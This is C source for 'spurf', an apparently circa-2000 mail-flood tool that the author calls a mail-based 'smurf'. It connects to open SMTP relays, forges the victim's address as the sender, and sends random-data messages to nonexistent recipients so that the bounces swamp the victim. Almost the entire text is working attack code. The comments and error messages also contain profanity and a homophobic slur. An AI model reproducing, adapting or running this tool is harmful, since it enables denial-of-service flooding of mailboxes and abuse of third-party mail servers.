A little mail-like 'smurf' that uses mail relays instead of broadcasts.
126ffdb072440ea199f8c3cf4a9f678df92c6ea8c85fdced2af0b70874d3668b
/*
* spurf 0.1
* =========
* fuck packeting, spam them to hell, jersey, and back
* (c) 2000 - missnglnk <missnglnk@tribune.intranova.net>
* greets: ging3r, sectorx, tino, arakis, phonz, cypherus, cyberops,
* gated, ti, moo, nivfreak, any #include kids i missed.
* =========
* THOU SHALT CRASH AND BURN IF THOU USETH THIS FOR NONBIBLICAL
* PURPOSES. THY ASS SHALL BE REAMED 777 TIMES BY YOUR FAITHFUL
* LORD AND SAVIOR, BUBBA.
* (you get the drift)
* =========
* I'm not cool enough for the parties, so I sit at home and
* find ways to piss off those who are. While coding, I mapped
* out all the possible situations I might have faced if I tried
* to go to a party I wasn't invited to, mainly to make myself
* feel better. E-mail future party invitations to
* missnglnk@tribune.intranova.net, I'll gladly accept
* government parties or *gasp* CORPORATE SCUM invitations.
* </cry^H^H^H^H^H
* </rant>
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/param.h>
#define RANDOM_DATA "/dev/urandom"
extern int errno;
void usage(void)
{
printf("spurf [-t target] [-f relays] [-n messages] [-s size]\n");
exit(-1);
}
int main(int argc, char **argv)
{
int args;
char *target;
char *relayfile;
int msgcnt;
int msglen;
FILE *relays;
char relay[MAXHOSTNAMELEN];
printf("spurf 0.1 by missnglnk\n");
printf("http://tribune.intranova.net\n\n");
if (argc < 2) {
usage();
}
target = NULL;
relayfile = NULL;
msgcnt = -1;
msglen = -1;
while ((args = getopt(argc, argv, "t:f:n:s:")) != -1) {
switch(args) {
case 't':
if (strlen(optarg) > 128) {
printf("[spurf]\tridiculous email address\n\n");
return -1;
}
target = optarg;
break;
case 'f':
relayfile = optarg;
break;
case 'n':
msgcnt = atoi(optarg);
break;
case 's':
msglen = atoi(optarg);
if (msglen < 128) {
printf("[spurf]\tridiculous size\n\n");
return -1;
}
break;
case '?':
default:
usage();
break;
}
}
argc -= optind;
argv -= optind;
if (target == NULL || relayfile == NULL || msgcnt == -1 || msglen == -1) {
printf("[spurf]\tyou have no clue about tonight's party\n");
printf("[error]\tmissing arguments\n\n");
usage();
}
if ((relays = fopen(relayfile, "r")) == NULL) {
printf("[spurf]\tyou cant pick the lock on johnny cool's locker\n");
printf("[error]\t%s\n\n", strerror(errno));
return -1;
}
while (fgets(relay, MAXHOSTNAMELEN, relays) != NULL) {
relay[strlen(relay) - 1] = NULL;
if (spurf(target, relay, msgcnt, msglen) == -1) {
printf("[spurf]\t%s failed\n\n", relay);
}
}
if (fclose(relays) < 0) {
printf("[spurf]\tyou and your bloody, loose ass walk past the village people\n");
printf("[error]\t%s\n\n", relayfile, strerror(errno));
return -1;
}
return 0;
}
int spurf(char *target, char *relay, int msgnum, int msglen)
{
FILE *randfile;
int i;
int sock;
char *randdata;
char rcvbuf[1024];
char msgline[msglen];
struct hostent *he;
unsigned long ip;
struct sockaddr_in sin;
if ((randdata = malloc(msglen)) == NULL) {
printf("[spurf]\tyou get caught stealing an invitation\n");
printf("[error]\t%s\n", msglen, strerror(errno));
return -1;
}
if ((he = gethostbyname(relay)) != NULL) {
ip = *(unsigned long *)he->h_addr;
} else {
if ((ip = inet_addr(relay)) == NULL) {
printf("[spurf]\tgot caught making copies at kinko's\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
}
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = ip;
sin.sin_port = htons(25);
for (i = 1; i <= msgnum; i++) {
if ((randfile = fopen(RANDOM_DATA, "r")) == NULL) {
printf("[spurf]\tcouldnt find party invitation\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
if (fread(randdata, msglen, 1, randfile) < 1) {
printf("[spurf]\tyour cool party clothes are locked in mom's room\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
if (fclose(randfile) < 0) {
printf("[spurf]\tcouldnt hide them from mom quick enough\n\t%s\n", strerror(errno));
free(randdata);
return -1;
}
if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
printf("[spurf]\tgot caught climbing out the window\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
printf("[spurf]\tbedsheet we're climbing down ripped in half\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tno more standing or sitting space\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
if (strstr(rcvbuf, "220") == NULL) {
printf("[spurf]\tmissed the motherfucking bus *again*\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}
snprintf(msgline, msglen, "HELO tribune.intranova.net\n");
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tgot chumped by the bus driver\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tno more standing or sitting space\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tguy sitting next to you grabbed your ass\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}
snprintf(msgline, msglen, "MAIL FROM: %s\n", target);
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tgot bitchslapped after telling a girl you're from jersey\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tembarassed to read her number with your glasses on\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tyou make out her name, b-r-u-c-e\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}
snprintf(msgline, msglen, "RCPT TO: %ld@%s\n", random(), relay);
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyou realize you're on the wrong bus\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou miss your stop and end up in the desert\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tthis invitation is to the other party 3 months ago\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}
snprintf(msgline, msglen, "DATA\n");
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyour excuse is full of shit\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou dont know whether to explain or not\n");
printf("[error]\t%s\n", rcvbuf);
free(randdata);
return -1;
}
if (strstr(rcvbuf, "354") == NULL) {
printf("[spurf]\tyou get punched in the mouth starting to explain\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}
snprintf(msgline, msglen, "%s\r\n.\r\n", randdata);
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyou get punched in the mouth while explaining\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou're unconscious for some silly reason\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
if (strstr(rcvbuf, "250") == NULL) {
printf("[spurf]\tyou get kicked out before the party starts\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}
snprintf(msgline, msglen, "QUIT\n");
if (write(sock, msgline, strlen(msgline)) < strlen(msgline)) {
printf("[spurf]\tyou're whacked with a broom before the door\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
bzero(rcvbuf, sizeof(rcvbuf));
if (read(sock, rcvbuf, sizeof(rcvbuf)) <= 0) {
printf("[spurf]\tyou cant tell who's hitting you\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
if (strstr(rcvbuf, "221") == NULL) {
printf("[spurf]\traving homos come downstairs and wont let you leave\n");
printf("[error]\t%s", rcvbuf);
free(randdata);
return -1;
}
if (close(sock) < 0) {
printf("[spurf]\tyou cant keep your ass closed tight enough\n");
printf("[error]\t%s\n", strerror(errno));
free(randdata);
return -1;
}
}
return 0;
}